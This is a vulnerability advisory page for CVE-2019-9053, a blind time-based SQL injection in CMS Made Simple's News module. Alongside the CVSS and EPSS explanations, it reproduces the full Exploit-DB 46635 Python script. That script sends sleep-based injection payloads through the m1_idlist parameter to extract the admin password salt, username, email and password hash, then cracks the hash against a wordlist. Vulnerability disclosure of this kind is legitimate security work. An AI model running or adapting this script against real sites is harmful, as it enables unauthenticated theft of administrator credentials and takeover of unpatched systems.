CVE-2019-9053 : Detail

CVE-2019-9053

8.1
/
High
SQL Injection
A03-Injection
2.13%V3
Network
2019-03-26
15h15 +00:00
2019-04-02
14h06 +00:00
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CVE Descriptions

An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.1 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46635

Publication date : 2019-04-01 22h00 +00:00
Author : Daniele Scanu
EDB Verified : No

#!/usr/bin/env python # Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : CVE-2019-9053 import requests from termcolor import colored import time from termcolor import cprint import optparse import hashlib parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print "[+] Specify an url target" print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." exit() url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' flag = True password = "" temp_password = "" TIME = 1 db_name = "" output = "" email = "" salt = '' wordlist = "" if options.wordlist: wordlist += options.wordlist def crack_password(): global password global output global wordlist global salt dict = open(wordlist) for line in dict.readlines(): line = line.replace("\n", "") beautify_print_try(line) if hashlib.md5(str(salt) + line).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() def beautify_print_try(value): global output print "\033c" cprint(output,'green', attrs=['bold']) cprint('[*] Try: ' + value, 'red', attrs=['bold']) def beautify_print(): global output print "\033c" cprint(output,'green', attrs=['bold']) def dump_salt(): global flag global salt global output ord_salt = "" ord_salt_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_salt) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += '\n[+] Salt for password found: ' + salt def dump_password(): global flag global password global output ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_password) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True output += '\n[+] Password found: ' + password def dump_username(): global flag global db_name global output ord_db_name = "" ord_db_name_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_db_name) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += '\n[+] Username found: ' + db_name flag = True def dump_email(): global flag global email global output ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_email) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: email = temp_email ord_email = ord_email_temp output += '\n[+] Email found: ' + email flag = True dump_salt() dump_username() dump_email() dump_password() if options.cracking: print colored("[*] Now try to crack password") crack_password() beautify_print()

Products Mentioned

Configuraton 0

Cmsmadesimple>>Cms_made_simple >> Version 2.2.8

References

https://www.exploit-db.com/exploits/46635/
Tags : exploit, x_refsource_EXPLOIT-DB